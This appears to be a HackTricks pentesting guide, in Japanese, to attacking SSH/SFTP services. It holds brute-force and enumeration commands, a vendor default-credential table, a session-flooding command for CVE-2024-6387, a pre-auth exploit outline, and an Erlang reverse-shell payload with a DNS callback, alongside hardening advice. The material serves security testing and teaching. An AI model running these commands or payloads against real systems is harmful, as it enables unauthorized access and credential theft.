22 - Pentesting SSH/SFTP

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

SSH (Secure Shell or Secure Socket Shell) は、信頼できないネットワーク上でコンピュータへの安全な接続を可能にするネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために重要です。

既定のポート: 22

22/tcp open  ssh     syn-ack

SSHサーバー:

  • openSSH – OpenBSDのSSHで、BSDやLinuxディストリビューションに搭載され、Windows 10以降のWindowsにも搭載されています
  • Dropbear – メモリやプロセッサ資源が限られた環境向けのSSH実装で、OpenWrtに搭載されています
  • PuTTY – Windows向けのSSH実装。クライアントは一般的に使用されますが、サーバー側の利用は稀です
  • CopSSH – Windows向けのOpenSSHの実装

SSHライブラリ(サーバー側の実装):

  • libssh – SSHv2プロトコルを実装したマルチプラットフォームのCライブラリで、PythonPerl、およびRのバインディングがあります; KDEのsftpやGitHubのgit SSHインフラで使用されています
  • wolfSSH – ANSI Cで書かれたSSHv2サーバーライブラリで、組み込み、RTOS、リソース制約のある環境を対象としています
  • Apache MINA SSHD – Apache SSHDのJavaライブラリはApache MINAを基にしています
  • paramiko – Python向けのSSHv2プロトコルライブラリ

Enumeration

nc -vn <IP> 22

自動化された ssh-audit

ssh-audit は ssh サーバーおよびクライアントの設定監査用ツールです。

https://github.com/jtesta/ssh-audithttps://github.com/arthepsy/ssh-audit/ の更新されたフォークです

機能:

  • SSH1 and SSH2 プロトコルのサーバーをサポート;
  • SSH クライアントの設定を解析;
  • バナーの取得、デバイス/ソフトウェアおよびオペレーティングシステムの識別、圧縮の検出;
  • キー交換、ホストキー、暗号化、およびメッセージ認証コードのアルゴリズムを収集;
  • アルゴリズム情報を出力(導入時期、削除/無効化、危険/弱い/レガシーなど);
  • アルゴリズムの推奨を出力(認識したソフトウェアのバージョンに基づき追加または削除);
  • セキュリティ情報を出力(関連する問題、割り当てられた CVE リストなど);
  • アルゴリズム情報に基づく SSH バージョン互換性の解析;
  • OpenSSH、Dropbear SSH、libssh の履歴情報;
  • Linux と Windows で動作;
  • 依存関係なし
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

サーバーの公開SSHキー

ssh-keyscan -t rsa <IP> -p <PORT>

弱い暗号アルゴリズム

これはデフォルトでnmapによって検出されます。ただし、sslcanまたはsslyzeを使用することもできます。

Nmap スクリプト

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

一部の OpenSSH のバージョンでは、timing attack によりユーザー列挙が可能です。これを悪用するために metasploit モジュールを使用できます:

msf> use scanner/ssh/ssh_enumusers

Brute force

一般的な ssh 認証情報は here here、以下にもあります。

Private Key Brute Force

使用可能な ssh private keys があるなら…試してみましょう。nmap スクリプトを使えます:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

または MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

あるいは ssh-keybrute.py (native python3、軽量でレガシーアルゴリズムが有効): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

弱い SSH 鍵 / Debian の予測可能な PRNG

一部のシステムでは、暗号化素材を生成するために使用される乱数シードに既知の欠陥があります。これにより鍵空間が大幅に縮小され、bruteforced される可能性があります。Debian の弱い PRNG の影響を受けたシステムで生成された事前生成の鍵セットはここで入手できます: g0tmi1k/debian-ssh.

ここを参照してターゲットマシンの有効な鍵を検索してください。

Kerberos / GSSAPI SSO

ターゲットの SSH サーバが GSSAPI をサポートしている場合(例えばドメインコントローラ上の Windows OpenSSH)、パスワードの代わりに Kerberos TGT を使って認証できます。

Workflow from a Linux attacker host:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

注意:

  • If you connect to the wrong name (e.g., short host, alias, or wrong order in /etc/hosts), you may get: “Server not found in Kerberos database” because the SPN does not match.
  • crackmapexec ssh --kerberos can also use your ccache for Kerberos auth.

デフォルトの認証情報

ベンダーユーザー名パスワード
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

ローカルネットワーク内にいて、ユーザー名とパスワードでSSHサーバに接続しようとしている被害者がいる場合、これらの資格情報を盗むためにMitM攻撃を試みることができます。

攻撃の流れ:

  • Traffic Redirection: 攻撃者は被害者のトラフィックを自身のマシンに迂回させ、SSHサーバへの接続試行を事実上傍受します。
  • Interception and Logging: 攻撃者のマシンはプロキシとして動作し、正規のSSHサーバを装ってユーザーのログイン情報を取得します。
  • Command Execution and Relay: 最後に攻撃者のサーバはユーザーの資格情報をログに残し、コマンドを実際のSSHサーバへ中継して実行し、その結果をユーザーに返すことで、処理をシームレスかつ正規のものに見せかけます。

SSH MITM は上記とまさに同じことを行います。

実際のMitMを実行してキャプチャするには、ARP spoofing、DNS spoofin のような手法や、Network Spoofing attacksで説明されているその他の技術を利用できます。

SSH-Snake

システム上で見つかったSSH秘密鍵を使ってネットワークを横断し、各システムの秘密鍵を新しいホストに対して順次利用したい場合は、SSH-Snake が役に立ちます。

SSH-Snake は以下のタスクを自動かつ再帰的に実行します:

  1. 現在のシステム上で SSH の秘密鍵を見つける
  2. 現在のシステム上で、秘密鍵が受け入れられる可能性のあるホストや宛先 (user@host) を見つける
  3. 発見したすべての秘密鍵を使って、すべての宛先へ SSH 接続を試みる
  4. 宛先への接続に成功した場合、接続先のシステム上でステップ #1 - #4 を繰り返す

完全に自己複製・自己伝播し、かつファイルレスです。

設定ミス

Root login

SSHサーバがデフォルトでrootユーザーのログインを許可していることはよくあり、これは重大なセキュリティリスクとなります。rootログインを無効化することはサーバを保護する上で重要なステップです。管理権限を持つ不正アクセスやブルートフォース攻撃を軽減できます。

OpenSSHでRootログインを無効化する方法:

  1. SSH設定ファイルを編集: sudoedit /etc/ssh/sshd_config
  2. 設定を変更: #PermitRootLogin yesPermitRootLogin no に変更
  3. 設定をリロード: sudo systemctl daemon-reload
  4. SSHサーバを再起動して変更を反映: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

SFTP の設定でよくある見落としとして、管理者がリモートシェルアクセスを有効にせずにユーザーにファイル交換だけを許可しようとする場合があります。ユーザーに対して非対話型シェル (例: /usr/bin/nologin) を設定し、特定のディレクトリに閉じ込めても、セキュリティの抜け穴が残ることがあります。ユーザーはログイン直後に(非対話型シェルが有効になる前に)コマンドの実行(例: /bin/bash)を要求することで、これらの制限を回避できるため、意図したセキュリティ対策が無効化される可能性があります。

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

以下はユーザー noraj のための安全な SFTP 設定 (/etc/ssh/sshd_config – openSSH) の例です:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

この設定はSFTPのみを許可します。startコマンドを強制してシェルアクセスを無効化し、TTYアクセスも無効化しますが、同時にあらゆる種類のport forwardingやtunnelingも無効化します。

SFTP Tunneling

SFTPサーバにアクセスできる場合、一般的なport forwardingを使ってトラフィックをこのサーバ経由でtunnelすることもできます:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

sftp には “symlink” というコマンドがあります。したがって、あるフォルダで writable rights を持っていれば、other folders/filessymlinks を作成できます。多くの場合 chroot に trapped されているためこれは特に役に立たないことが多いですが、作成した symlinkno-chrootservice(例えば、web からその symlink にアクセスできる場合)で access できるなら、open the symlinked files through the web することができます。

例えば、新しいファイル froot” から “/**” への symlink を作成するには:

sftp> symlink / froot

If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.

認証方法

高セキュリティな環境では、単一要素のパスワード認証の代わりに鍵認証や二要素認証のみを有効にするのが一般的です。しかし、多くの場合、強力な認証方式を有効にしても弱い方式を無効化していないことがあります。よくあるケースとして、openSSH の設定で publickey を有効にしてデフォルトに設定するが、password を無効化していない、というものがあります。したがって、SSH client の verbose モードを使用すると、攻撃者はより弱い方式が有効になっていることを確認できます:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

例えば、認証失敗の制限が設定されていて password method に到達する機会がない場合、PreferredAuthentications オプションを使用してこのメソッドの使用を強制できます。

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSH サーバーの設定を確認して、予期した認証方式のみが許可されていることを確認する必要があります。クライアントの verbose モードを使用すると、設定の有効性を確認するのに役立ちます。

設定ファイル

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

最近の重大な脆弱性 (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 は sshd の SIGALRM ハンドラ内の async-safe ロギングガードを削除し、CVE-2006-5051 を再導入しました。これにより、LoginGraceTime が切れた瞬間に認証されていない攻撃者が glibc ヒープを破損できるようになります。Qualys はこのバグを 32-bit Linux 上での root RCE に実用化しており、64-bit ターゲットでも十分なグルーミング試行があればブルートフォース可能であると報告しています。バナー取得時にこれらのバージョンを開示するホストを優先してください。

利用はタイミング依存です:特権モニタが脆弱なシグナル経路に繰り返し到達するよう、認証を行わない半開セッションでデーモンを叩き、アロケータの状態を整えます。

Operator tips:

  • ssh -V(リモートバナー)や ssh -G <target> | grep ^userauths でビルドをフィンガープリントし、LoginGraceTime がゼロでないことを確認する。
  • ラボターゲットを圧力試験するには、認証を要求しない短命なセッションを大量に投げる。例:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • LoginGraceTime 0 を強制するホストは脆弱なコードパスに触れない — MaxStartups を使い切ることでの DoS 角度のみを想定する。

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 と 5.6.1 は、x86-64 Linux 上の Debian/RPM パッケージング時に隠しオブジェクトを展開するトロイ化されたリリース tarball を出荷しました。ペイロードは glibc の IFUNC リゾルバを悪用して sshd の RSA_public_decrypt をフックし(systemd パッチにより liblzma が読み込まれる場合)、攻撃者署名されたパケットを受け入れてプリオースト認証でコード実行を可能にします。

悪意あるロジックはパッケージ化されたバイナリ内部にのみ存在するため、実運用で検証するには被害者が実際に何をインストールしたかを確認する必要があります:xz --versionrpm -qi xz/dpkg -l xz-utils を確認し、/usr/lib*/liblzma.so* のハッシュ比較、ldd /usr/sbin/sshd | grep -E "systemd|lzma" で sshd がその脆弱な依存関係を引いているかを調べてください。フックはプロセスパスが /usr/sbin/sshd の場合にのみ動作するため、ラボでバックドアを再現するにはディストロのビルド環境を再現する必要があることが多いです。

Authentication State-Machine Bypass (Pre-Auth RCE)

いくつかの SSH サーバ実装には、クライアントが認証完了前に connection-protocol メッセージを送信できるようにしてしまう、認証有限状態機械(authentication finite-state machine)に関するロジック欠陥があります。サーバが自身が正しい状態にあるかを検証しないため、これらのメッセージはユーザが完全に認証されたかのように扱われ、認証前のコード実行やセッション作成を引き起こします。

プロトコルレベルでは、message code ≥ 80 (0x50) の任意の SSH メッセージは connection レイヤー (RFC 4254) に属し、成功した認証の後にのみ受け入れられるべきです (RFC 4252)。サーバが SSH_AUTHENTICATION 状態のままこれらのメッセージのいずれかを処理すると、攻撃者は即座にチャネルを作成し、コマンド実行、ポートフォワーディング等の操作を要求できます。

Generic Exploitation Steps

  1. ターゲットの SSH ポート(通常 22、ただし 2022、830、2222 などで Erlang/OTP を公開しているサービスもあり得る)へ TCP 接続を確立する。
  2. 生の SSH パケットを作成する:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • 選択したメッセージタイプで解釈されるペイロード
  1. 認証を完了させる前にそのパケットを送信する。
  2. その結果、pre-auth で露出したサーバ API(コマンド実行、ポートフォワーディング、ファイルシステムアクセスなど)とやり取りする。

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

実際には、ターゲット実装に応じて鍵交換を実行(または省略)する必要がありますが、認証は一切行われません


Erlang/OTP sshd (CVE-2025-32433)

  • Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Root cause: Erlang のネイティブ SSH デーモンは ssh_connection:handle_msg/2 を呼び出す前に現在の状態を検証しません。したがって、メッセージコード 80-255 の任意のパケットがセッションがまだ userauth 状態にある間に接続ハンドラに到達します。
  • Impact: 認証されていない remote code execution(デーモンは通常、組み込み/OT デバイス上で root として実行されます)。

攻撃者が制御するチャネルにバインドされた reverse shell を生成する例のペイロード:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection は DNS 経由で実行できます:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

検知と緩和:

  • Inspect SSH traffic: 認証前に観測された message code ≥ 80 を持つパケットを破棄する
  • Upgrade Erlang/OTP to 27.3.3 / 26.2.5.11 / 25.3.2.20 or newer.
  • Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment.

影響を受ける他の実装

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – クライアントから送信された認証されていない SSH_MSG_USERAUTH_SUCCESS を受け入れてしまい、事実上逆の論理バグになる。

共通の教訓は、RFC が定める状態遷移からのいかなる逸脱も致命的になり得るということだ。SSH デーモンをレビューしたり fuzzing を行う際は、特に 状態遷移の厳密な適用 に注意を払うこと。

参考

HackTricks 自動コマンド

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする